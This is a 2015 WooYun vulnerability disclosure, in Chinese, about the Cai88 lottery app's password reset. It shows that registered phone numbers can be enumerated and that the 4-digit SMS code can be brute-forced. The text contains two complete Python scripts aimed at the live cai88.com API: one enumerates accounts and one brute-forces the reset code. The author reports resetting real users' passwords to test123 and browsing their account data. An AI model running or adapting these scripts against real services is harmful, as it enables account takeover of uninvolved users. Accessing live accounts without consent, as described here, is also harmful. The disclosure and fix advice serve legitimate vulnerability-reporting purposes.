当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107201

漏洞标题:彩88彩票验证码可以被暴力破解修改密码

相关厂商:彩88彩票网

漏洞作者: 晨曦遇晓

提交时间:2015-04-13 21:08

修复时间:2015-05-28 21:10

公开时间:2015-05-28 21:10

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

《彩88彩票》用户账号(手机号)可以被枚举,验证码使用4位数字,在半个小时内有效,可以被暴力破解。
apk详情:
apk : com.cai88.lottery, 340, 3.4.0, 彩88彩票
apkmd5: 290a988513e844e8613bd985444bdf99
证书 :
certmd5: 1c32e060715cf5a4fe15026f95b7090f
issuer: O=cai888.cn, OU=cai888.cn, CN=cai888.cn
subject: O=cai888.cn, OU=cai888.cn, CN=cai888.cn
客户端详情:

公司.png

漏洞证明:

1、账号枚举:可以在找回密码时输入手机号,点击获取验证码的时候。通过返回的信息中的isCheck或者isHave是true还是false判断。
(1)如果手机号没有注册过,返回的信息:
{"status":0,"msg":"","addition"{"systime":"2015-04-10T14:26:53.1075831Z"},"model":{"isCheck":false,"isHave":false}}
(2)如果手机号注册过,则返回:
{"status":0,"msg":"","addition"{"systime":"2015-04-10T14:26:53.1075831Z"},"model":{"isCheck":true,"isHave":true}}

注册.png


写的脚本跑了一下午,就搞出来几个:密码都已经被修改为test123

跑的手机号.jpg


2、找回密码。

召回密码.png


3、点击获取验证码时,服务器会返回一个id号,这个id将会和手机号、验证码一起返回给服务器进行判断验证码的合法性。

id.jpg


4、编写脚本,跑出验证码。

跑验证码.jpg


5、将此验证码输入,修改成功。

验证码输入.png


修改成功.png


6、登录进去查看,只有一个哥们才中过5块钱,tc有黑幕吗。

登陆成功.png


敏感信息.jpg


修复方案:

设置验证码尝试次数,加长验证码长度,减少验证码生效时间。
1、枚举用户名代码。
#!/usr/bin/python
#coding=utf8
import json
import urllib
import httplib
import random
import requests
import time
import threading
def test():
while True:
phoneNo=random.choice(['186','189','156','187','134','151'])+''.join(random.sample('0123456789',8))
data={"mobile":phoneNo}
body=urllib.urlencode(data)
headers={"Content-Type":"application/x-www-form-urlencoded",
"User-agent":"Mozilla/5.0 (Linux; U; Android 4.1.2; zh-cn; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Cai88Android/3.4.0",
"Connection":"Keep-Alive","Accept-Encoding":"gzip","Content-Length":"18"}
rtime=int(time.time())
url="http://cai88.com/api/ForgetPwdCheck.action?r="+str(rtime)+"&version=1.1&tid=816&tyid=2&clientver=3.4.0&imei=355533057560238"
httpClient=httplib.HTTPConnection("cai88.com","80")
httpClient.request("POST", url, body, headers)
response=httpClient.getresponse()
rep=response.read()
#print rep
result=json.loads(rep)
print result
#print type(result)
a=result.get("model").get("isCheck")
print type(a)
if a:
print "test"
f=open("D://test.txt","a")
f.write(phoneNo+"\n")
f.close()
if __name__=="__main__":
t=threading.Thread(target=test)
t.run()
2、暴力破解验证码。手动修改id和手机号。
#!/usr/bin/python
#coding=utf8
import httplib
import json
import time
import urllib
import threading
httpClient=None
def test():
try:
for code in range(1000,10000):
codenum=code
params=urllib.urlencode({"id":"2755613","mobile":"15669743150","code":codenum})
print params
headers={"Content-Type":"application/x-www-form-urlencoded",
"User-agent":"Mozilla/5.0 (Linux; U; Android 4.1.2; zh-cn; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Cai88Android/3.4.0",
"Connection":"Keep-Alive","Accept-Encoding":"gzip","Content-Length":"39"}
httpClient=httplib.HTTPConnection("cai88.com",80)
httpClient.request("POST","http://cai88.com/api/ValiCodeAssert.action?r=1428636286762&version=1.1&tid=816&tyid=2&clientver=3.4.0&imei=355533057560238",params,headers)
response=httpClient.getresponse()
req=response.read()
result=json.loads(req)
#print result
if result.get("status")==0:
print codenum
break
except Exception, e:
print e
finally:
if httpClient:
httpClient.close()
if __name__=="__main__":
t=threading.Thread(target=test)
t.run()


版权声明:转载请注明来源 晨曦遇晓@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝